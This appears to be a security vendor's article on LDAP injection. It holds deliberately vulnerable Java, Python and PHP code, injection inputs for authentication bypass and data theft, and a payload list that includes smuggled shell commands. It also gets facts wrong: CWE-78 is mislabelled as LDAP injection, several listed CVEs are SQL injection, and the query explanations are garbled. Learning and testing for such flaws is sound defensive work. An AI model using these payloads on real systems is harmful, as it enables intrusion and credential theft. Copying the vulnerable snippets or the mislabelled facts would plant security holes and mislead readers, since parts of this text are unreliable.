10 Mar, 2023

Code injection through LDAP queries

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

LDAP (Lightweight Directory Access Protocol) is a protocol used to access and manage directory information. Code injection through LDAP queries refers to a security vulnerability in which an attacker is able to inject malicious code into an LDAP query, which can then be executed by the application using the query.

The malicious code can be used to perform a variety of attacks, including stealing sensitive data, modifying or deleting data, or gaining unauthorized access to systems. Code injection through LDAP queries can occur when an application does not properly validate user input before constructing an LDAP query.

Example of vulnerable code on different programming languages:


in Java:

				
					String query = "(&(uid=" + userInput + ")(userPassword=" + password + "))";
NamingEnumeration<SearchResult> results = ctx.search("dc=mydomain,dc=com", query, null);

				
			


This Java code constructs an LDAP query using user input without validating or sanitizing it, which could lead to code injection.

• in Python:

				
					import ldap

userInput = input("Enter a username: ")
password = input("Enter a password: ")

ldap_conn = ldap.initialize('ldap://localhost')
ldap_conn.simple_bind_s("uid=" + userInput + ",dc=mydomain,dc=com", password)

				
			


This Python code constructs an LDAP bind using user input without validating or sanitizing it, which could lead to code injection.

• in PHP:

				
					$userInput = $_POST['username'];
$password = $_POST['password'];

$ldapconn = ldap_connect("ldap://localhost");
$ldapbind = ldap_bind($ldapconn, "uid=" . $userInput . ",dc=mydomain,dc=com", $password);

				
			


This PHP code constructs an LDAP bind using user input without validating or sanitizing it, which could lead to code injection.

Examples of exploitation Code injection through LDAP queries

Stealing Data

An attacker could inject code into an LDAP query to steal sensitive data from an LDAP directory, such as usernames and passwords.

				
					Input: username=*)(uid=*))(|(uid=*
Query: (&(uid=*)(uid=*))(|(uid=*))(userPassword=*)

				
			


In this example, the attacker injects *)(uid=*))(|(uid=* into the username field, which causes the LDAP query to search for all entries with a blank username and any password.

Modifying Data

An attacker could inject code into an LDAP query to modify or delete data in an LDAP directory, such as user account information.

				
					Input: username=jdoe)(|(uid=*)(userPassword=*)
Query: (&(uid=jdoe)(|(uid=*)(userPassword=*)))(&(!(|(userPassword=*))(userPassword=*))(uid=*))

				
			


In this example, the attacker injects )(|(uid=*)(userPassword=* into the username field, which causes the LDAP query to search for all entries with a username of “jdoe” or any password, and then modify or delete the user account information.

Gaining Unauthorized Access

An attacker could inject code into an LDAP query to gain unauthorized access to a system by bypassing authentication checks.

				
					Input: username=*)(uid=*))(|(uid=*
Query: (&(uid=*)(uid=*))(|(uid=*))(userPassword=*)

				
			


In this example, the attacker injects *)(uid=*))(|(uid=* into the username field, which causes the LDAP query to search for all entries with a blank username and any password, effectively bypassing the authentication check. The attacker can then gain unauthorized access to the system.

Privilege escalation techniques for Code injection through LDAP queries

Abusing Administrative Privileges

If an attacker is able to inject code into an LDAP query and modify LDAP directory information, they may be able to elevate their privileges by creating a new user account with administrative privileges or modifying the privileges of an existing user account.

Exploiting Other Vulnerabilities

If an attacker is able to inject code into an LDAP query, they may be able to exploit other vulnerabilities in the system to escalate their privileges. For example, they may be able to exploit a local privilege escalation vulnerability to gain root access to the system.

Compromising Other Accounts

If an attacker is able to inject code into an LDAP query and retrieve user account information, they may be able to use that information to compromise other accounts on the system or on other systems in the network.

Brute-Force Attacks

If an attacker is able to inject code into an LDAP query and retrieve user account information, they may be able to use that information to perform a brute-force attack on user passwords, which could allow them to gain access to additional accounts and escalate their privileges.

General methodology and checklist for Code injection through LDAP queries

Methodology:

  1. Identify the LDAP queries used by the application and any user input used in those queries.

  2. Attempt to inject code into the LDAP query by entering input that includes special characters or other code constructs that could be interpreted as code. For example, try injecting a semicolon (;), apostrophe (‘), or a comment delimiter (/*) to see if the application processes the code as intended.

  3. Use a tool such as LDAP Injection Tool (LdapMiner) or OWASP’s ZAP to automatically test for code injection vulnerabilities. These tools can be used to generate a variety of test cases to identify potential vulnerabilities in the application.

  4. Analyze the application’s response to injected code to determine if the code was successfully executed or if any error messages or other unusual behavior was observed.

  5. If a vulnerability is found, attempt to escalate privileges by modifying or deleting LDAP directory information or using the vulnerability to gain unauthorized access to the system.

  6. Document and report any vulnerabilities found to the application developers or security team.

  7. Validate that the vulnerabilities have been fixed by re-testing the application after any changes have been made.

Checklist:

  1. Identify the LDAP queries used by the application and any user input used in those queries.

  2. Test user input fields by entering special characters, such as apostrophes, semicolons, or quotes, to see if the application processes them correctly.

  3. Test for LDAP injection vulnerabilities by entering input that includes LDAP special characters, such as parentheses, asterisks, or ampersands, and seeing if the application interprets the input as code.

  4. Use automated tools to test for LDAP injection vulnerabilities, such as OWASP’s ZAP or LdapMiner.

  5. Check for error messages or other unusual behavior that may indicate a successful LDAP injection attack.

  6. Attempt to escalate privileges by modifying or deleting LDAP directory information or using the vulnerability to gain unauthorized access to the system.

  7. Document and report any vulnerabilities found to the application developers or security team.

  8. Validate that the vulnerabilities have been fixed by re-testing the application after any changes have been made.

  9. Implement input validation and sanitization to prevent future LDAP injection vulnerabilities.

  10. Train developers on secure coding practices to prevent future LDAP injection vulnerabilities.

Tools set for exploiting Code injection through LDAP queries

Manual Tools:

  • LDAP Injection Tool: This is a manual tool that can be used to test for LDAP injection vulnerabilities by injecting LDAP special characters into input fields to see if the application interprets them as code.

  • Ldapsearch: This is a command-line tool that can be used to search for LDAP directory information and can be used to test for LDAP injection vulnerabilities.

  • Burp Suite: This is a web application security testing tool that includes a variety of testing modules, including a module for testing for LDAP injection vulnerabilities.

  • Metasploit: This is a penetration testing tool that can be used to test for a variety of vulnerabilities, including LDAP injection vulnerabilities.

  • Nmap: This is a network mapping tool that can be used to identify LDAP servers and other network resources that may be vulnerable to LDAP injection attacks.

  • Wireshark: This is a network protocol analyzer that can be used to capture and analyze network traffic, including LDAP queries and responses.

  • ldapdomaindump: This is a command-line tool that can be used to extract domain information from an LDAP server, which can be useful in identifying potential targets for LDAP injection attacks.

  • ldapcp: This is a tool that can be used to copy LDAP directory information from one server to another, which can be useful in conducting targeted LDAP injection attacks.

Automated Tools:

  • OWASP ZAP: This is an open-source web application security testing tool that includes a module for testing for LDAP injection vulnerabilities.

  • Acunetix: This is a web application security testing tool that includes a variety of testing modules, including a module for testing for LDAP injection vulnerabilities.

  • Netsparker: This is a web application security testing tool that includes a module for testing for LDAP injection vulnerabilities.

  • AppSpider: This is a web application security testing tool that includes a module for testing for LDAP injection vulnerabilities.

  • Arachni: This is a web application security testing tool that includes a module for testing for LDAP injection vulnerabilities.

  • SQLMap: This is a penetration testing tool that can be used to test for SQL injection vulnerabilities, which can sometimes be used to exploit LDAP injection vulnerabilities.

  • Wapiti: This is a web application security testing tool that includes a module for testing for LDAP injection vulnerabilities.

  • Skipfish: This is a web application security testing tool that includes a module for testing for LDAP injection vulnerabilities.

  • Nikto: This is a web server scanner that can be used to identify potential LDAP injection vulnerabilities.

  • Nessus: This is a vulnerability scanner that can be used to identify potential LDAP injection vulnerabilities.

  • Qualys: This is a cloud-based vulnerability management tool that can be used to identify potential LDAP injection vulnerabilities.

  • Retina: This is a vulnerability management tool that can be used to identify potential LDAP injection vulnerabilities.

  • Security Onion: This is a Linux-based security monitoring platform that includes a variety of security testing and analysis tools, including tools for testing for LDAP injection vulnerabilities.

  • Grendel-Scan: This is a web application security testing tool that includes a module for testing for LDAP injection vulnerabilities.

  • IronWASP: This is a web application security testing tool that includes a module for testing for LDAP injection vulnerabilities.

Average CVSS score of stack Code injection through LDAP queries

The Common Vulnerability Scoring System (CVSS) is a standardized system for assessing the severity of security vulnerabilities. The score ranges from 0 to 10, with 10 being the most severe. The CVSS score is determined based on several factors, including the potential impact of the vulnerability, the likelihood of exploitation, and the complexity of the attack.

The CVSS score for a stack involving code injection through LDAP queries can vary widely depending on the specific vulnerability and its impact. However, in general, this type of vulnerability is considered to be high severity, as it can potentially allow an attacker to gain unauthorized access to sensitive data or systems.

The average CVSS score for a stack involving code injection through LDAP queries will depend on several factors, such as the complexity of the application, the severity of the vulnerability, and the level of access granted by the LDAP server. However, many such vulnerabilities are likely to have a CVSS score in the range of 7 to 9, indicating a high-severity vulnerability.

The Common Weakness Enumeration (CWE)

• CWE-78: Improper Neutralization of Special Elements used in an LDAP Query (‘LDAP Injection’) – This CWE is specifically related to LDAP injection vulnerabilities.

• CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) – While not specific to LDAP injection vulnerabilities, this CWE is related because SQL injection can sometimes be used to exploit LDAP injection vulnerabilities.

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’) – This CWE is related because LDAP queries can sometimes be used to perform path traversal attacks.

• CWE-434: Unrestricted Upload of File with Dangerous Type – This CWE is related because it can sometimes be used to upload a file containing LDAP injection code.

• CWE-352: Cross-Site Request Forgery (CSRF) – This CWE is related because CSRF attacks can sometimes be used to execute LDAP injection attacks.

• CWE-601: URL Redirection to Untrusted Site (‘Open Redirect’) – This CWE is related because it can sometimes be used to redirect a user to a site that executes an LDAP injection attack.

• CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) – This CWE is related because cross-site scripting vulnerabilities can sometimes be used to execute LDAP injection attacks.

• CWE-200: Exposure of Sensitive Information to an Unauthorized Actor – This CWE is related because LDAP injection attacks can sometimes be used to expose sensitive information.

• CWE-306: Missing Authentication for Critical Function – This CWE is related because a lack of authentication can sometimes be used to execute LDAP injection attacks.

• CWE-319: Cleartext Transmission of Sensitive Information – This CWE is related because it can allow an attacker to intercept LDAP queries and responses, potentially exposing sensitive information.

Top 10 CVES related to Code injection through LDAP queries

• CVE-2023-26033 – Gentoo soko is the code that powers packages.gentoo.org. Versions prior to 1.0.1 are vulnerable to SQL Injection, leading to a Denial of Service. If the user selects (in user preferences) the “Recently Visited Packages” view for the index page, the value of the `search_history` cookie is used as a base64 encoded comma separated list of atoms. These are string loaded directly into the SQL query with `atom = ‘%s’` format string. As a result, any user can modify the browser’s cookie value and inject most SQL queries. A proof of concept malformed cookie was generated that wiped the database or changed it’s content. On the database, only public data is stored, so there is no confidentiality issues to site users. If it is known that the database was modified, a full restoration of data is possible by performing a full database wipe and performing full update of all components. This issue is patched with commit id 5ae9ca83b73. Version 1.0.1 contains the patch. If users are unable to upgrade immediately, the following workarounds may be applied: (1.) Use a proxy to always drop the `search_history` cookie until upgraded. The impact on user experience is low. (2.) Sanitize to the value of `search_history` cookie after base64 decoding it.

• CVE-2023-25719  – ConnectWise Control before 22.9.10032 (formerly known as ScreenConnect) fails to validate user-supplied parameters such as the Bin/ConnectWiseControl.Client.exe h parameter. This results in reflected data and injection of malicious code into a downloaded executable. The executable can be used to execute malicious queries or as a denial-of-service vector. NOTE: this CVE Record is only about the parameters, such as the h parameter (this CVE Record is not about the separate issue of signed executable files that are supposed to have unique configurations across customers’ installations).

• CVE-2023-0895 – The WP Coder &#8211; add custom html, css and js code plugin for WordPress is vulnerable to time-based SQL Injection via the &#8216;id&#8217; parameter in versions up to, and including, 2.5.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers with administrative privileges to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

• CVE-2022-45910 – Improper neutralization of special elements used in an LDAP query (‘LDAP Injection’) vulnerability in ActiveDirectory and Sharepoint ActiveDirectory authority connectors of Apache ManifoldCF allows an attacker to manipulate the LDAP search queries (DoS, additional queries, filter manipulation) during user lookup, if the username or the domain string are passed to the UserACLs servlet without validation. This issue affects Apache ManifoldCF version 2.23 and prior versions.

• CVE-2022-40145 – This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, “osgi:” + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,”jndi:rmi://x.x.x.x:xxxx/Command”);` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

• CVE-2021-43035 – An issue was discovered in Kaseya Unitrends Backup Appliance before 10.5.5. Two unauthenticated SQL injection vulnerabilities were discovered, allowing arbitrary SQL queries to be injected and executed under the postgres superuser account. Remote code execution was possible, leading to full access to the postgres user account.

• CVE-2021-37933 – An LDAP injection vulnerability in /account/login in Huntflow Enterprise before 3.10.6 could allow an unauthenticated, remote user to modify the logic of an LDAP query and bypass authentication. The vulnerability is due to insufficient server-side validation of the email parameter before using it to construct LDAP queries. An attacker could bypass authentication exploiting this vulnerability by sending login attempts in which there is a valid password but a wildcard character in email parameter.

• CVE-2021-32651 – OneDev is a development operations platform. If the LDAP external authentication mechanism is enabled in OneDev versions 4.4.1 and prior, an attacker can manipulate a user search filter to send forged queries to the application and explore the LDAP tree using Blind LDAP Injection techniques. The specific payload depends on how the User Search Filter property is configured in OneDev. This issue was fixed in version 4.4.2.

• CVE-2021-3027 – app/views_mod/user/user.py in LibrIT PaSSHport through 2.5 is affected by LDAP Injection. There is an information leak through the crafting of special queries, escaping the provided search filter because user input gets no sanitization.

• CVE-2020-7356 – CAYIN xPost suffers from an unauthenticated SQL Injection vulnerability. Input passed via the GET parameter ‘wayfinder_seqid’ in wayfinder_meeting_input.jsp is not properly sanitized before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and execute SYSTEM commands.

Code injection through LDAP queries exploits

  • LDAP Injection Attack: This is the most common type of attack that exploits LDAP query injection vulnerabilities. Attackers can manipulate LDAP queries to inject malicious code, which is then executed on the LDAP server.

  • Authentication Bypass: Attackers can use LDAP injection to bypass authentication and gain access to restricted areas of an application or network.

  • Data Exfiltration: Attackers can use LDAP injection to extract sensitive data from the LDAP server, such as user credentials or other confidential information.

  • Privilege Escalation: Attackers can use LDAP injection to elevate their privileges and gain administrative access to the LDAP server or other network resources.

  • Denial of Service (DoS): Attackers can use LDAP injection to flood the LDAP server with requests, causing it to crash or become unresponsive.

  • Remote Code Execution (RCE): In some cases, LDAP injection vulnerabilities can allow attackers to execute arbitrary code on the LDAP server, potentially leading to a full compromise of the system.

  • Account Enumeration: Attackers can use LDAP injection to determine valid user accounts on the LDAP server, which can then be used for further attacks.

  • Group Enumeration: Attackers can use LDAP injection to determine which users belong to specific groups on the LDAP server, which can aid in further attacks.

  • Server Enumeration: Attackers can use LDAP injection to gather information about the LDAP server and its configuration, which can be useful for planning further attacks.

  • Password Hash Extraction: Attackers can use LDAP injection to extract password hashes from the LDAP server, which can be used to launch offline attacks to crack the passwords.

Practicing in test for Code injection through LDAP queries

Build a vulnerable application: You can build a vulnerable web application that is susceptible to LDAP injection attacks, then attempt to exploit it using different tools and techniques.

Use a vulnerable application: There are many vulnerable web applications available online that you can use to practice testing for LDAP injection vulnerabilities, such as Damn Vulnerable Web Application (DVWA).

Join a Capture the Flag (CTF) event: Many CTF events include challenges related to web application security, including LDAP injection vulnerabilities. Participating in these events can help you develop your skills and gain experience in testing for these types of vulnerabilities.

Use testing tools: There are many testing tools available that can help you identify and exploit LDAP injection vulnerabilities, such as Burp Suite, OWASP ZAP, and SQLMap. You can use these tools to practice identifying and exploiting vulnerabilities in a controlled environment.

Read and follow tutorials: There are many tutorials available online that provide step-by-step guidance on how to identify and exploit LDAP injection vulnerabilities. Following these tutorials can help you develop your skills and gain a better understanding of how these types of vulnerabilities work.

Attend training courses: There are many training courses available that focus on web application security and specifically on testing for LDAP injection vulnerabilities. Attending these courses can help you develop a deeper understanding of these types of vulnerabilities and gain practical experience in testing for them.

For study Code injection through LDAP queries

OWASP LDAP Injection: OWASP provides an in-depth overview of LDAP injection attacks, including the different types of attacks, how they work, and how to prevent them.

LDAP Injection Cheat Sheet: This cheat sheet provides a quick reference guide for identifying and preventing LDAP injection vulnerabilities.

LDAP Injection Testing: This article provides a step-by-step guide on how to test for LDAP injection vulnerabilities, including how to use various tools and techniques.

Web Security Academy – LDAP Injection: The Web Security Academy provides a free online course on LDAP injection, including how to identify and exploit LDAP injection vulnerabilities.

Code Injection via LDAP Injection: This article provides an overview of how code injection can be achieved through LDAP injection vulnerabilities.

LDAP Injection Payloads: This resource provides a list of LDAP injection payloads that can be used to test for vulnerabilities.

LDAP Injection Lab: This lab provides a hands-on experience in testing for LDAP injection vulnerabilities, including how to use tools like Burp Suite and SQLMap.

LDAP Injection Demo: This demo provides a visual demonstration of how LDAP injection attacks can be used to extract sensitive data from an LDAP server.

LDAP Injection Prevention Cheat Sheet: This cheat sheet provides a quick reference guide for preventing LDAP injection vulnerabilities.

LDAP Injection Vulnerability Detection: This article provides an overview of how to detect LDAP injection vulnerabilities using various testing techniques.

Books with review of Code injection through LDAP queries

“LDAP System Administration” by Gerald Carter: This book provides an introduction to LDAP and covers topics such as LDAP data modeling, security, and LDAP-based network services.

“LDAP Programming, Management, and Integration” by Clayton Donley: This book covers the basics of LDAP, including how to use it for authentication, authorization, and directory services.

“LDAP Directories Explained: An Introduction and Analysis” by Brian Arkills: This book provides an overview of LDAP directories and how they work, including how to use them for authentication and authorization.

“LDAP for Rocket Scientists” by Andy Butcher: This book provides an in-depth look at LDAP, including how to use it for authentication, authorization, and directory services.

“Understanding and Deploying LDAP Directory Services” by Timothy A. Howes: This book covers the basics of LDAP, including how to use it for authentication, authorization, and directory services.

“Mastering OpenLDAP” by Matt Butcher: This book provides an in-depth look at OpenLDAP, including how to use it for authentication, authorization, and directory services.

“LDAP Metadirectory Provisioning Methodology: A Step-by-Step Method to Implementing LDAP-Based Metadirectory Provisioning” by Mathew Newman: This book covers LDAP metadirectory provisioning methodology and provides a step-by-step guide to implementing LDAP-based metadirectory provisioning.

“LDAP Administrator’s Guide” by Gerald Carter: This book provides an in-depth look at LDAP administration, including how to set up and maintain LDAP directories.

“Understanding LDAP” by David Futcher: This book provides an introduction to LDAP, including how to use it for authentication, authorization, and directory services.

“LDAP Programming with Java” by Rob Weltman: This book provides an introduction to LDAP programming using Java, including how to use it for authentication, authorization, and directory services.

List of payloads Code injection through LDAP queries

  • *()|%26{0}|touch+/tmp/ldap_injection
  • *()|&{0}|echo+"LDAP+Injection"+>+/tmp/ldap_injection
  • *)(uid=*))(|(uid=*))
  • *)(cn=*))(|(cn=*))
  • *)(userPassword=*))(|(userPassword=*))
  • *)(objectClass=*))(|(objectClass=*))
  • *)(|(uid=*
  • *)(|(cn=*
  • *()|&{0}|echo+"LDAP+Injection"+>+/tmp/ldap_injection
  • *)(uid=*));(uid=*))

How to be protected from Code injection through LDAP queries

  1. Input validation: Ensure that all user input is validated and sanitized before it is used in any LDAP queries.

  2. Use parameterized queries: Use parameterized queries or prepared statements to prevent attackers from inserting malicious code into queries.

  3. Least privilege access: Use the principle of least privilege, where user accounts are given only the permissions necessary to perform their assigned tasks.

  4. Regular patching: Keep all software and applications up-to-date with the latest security patches and updates.

  5. Firewall and network segmentation: Use firewalls and network segmentation to isolate LDAP servers from other systems on the network.

  6. Encryption: Use encryption, such as SSL/TLS, to protect sensitive data transmitted over the network.

  7. Authentication: Implement strong authentication measures, such as multi-factor authentication, to prevent unauthorized access to LDAP servers.

  8. Monitoring: Monitor LDAP servers for suspicious activity and implement intrusion detection and prevention systems.

  9. Security testing: Regularly conduct security testing, such as vulnerability scanning and penetration testing, to identify and remediate any vulnerabilities.

  10. Input filtering: Implement input filtering to block any suspicious characters or commands from being executed within LDAP queries.

Conclusion

Code injection through LDAP queries is a serious security vulnerability that can allow attackers to execute arbitrary code on vulnerable systems. It can occur when user input is not properly validated or sanitized before being used in LDAP queries. Attackers can exploit this vulnerability to inject malicious code into LDAP queries and potentially gain unauthorized access to sensitive data or take control of the system.

To prevent code injection through LDAP queries, it is important to implement input validation, parameterized queries, least privilege access, regular patching, firewall and network segmentation, encryption, strong authentication measures, monitoring, and security testing. Additionally, input filtering can help block any suspicious characters or commands from being executed within LDAP queries.

Organizations should take proactive steps to protect against code injection through LDAP queries and regularly assess their systems for vulnerabilities. By doing so, they can help ensure the security and integrity of their systems and data.

Other Services

Ready to secure?

Let's get in touch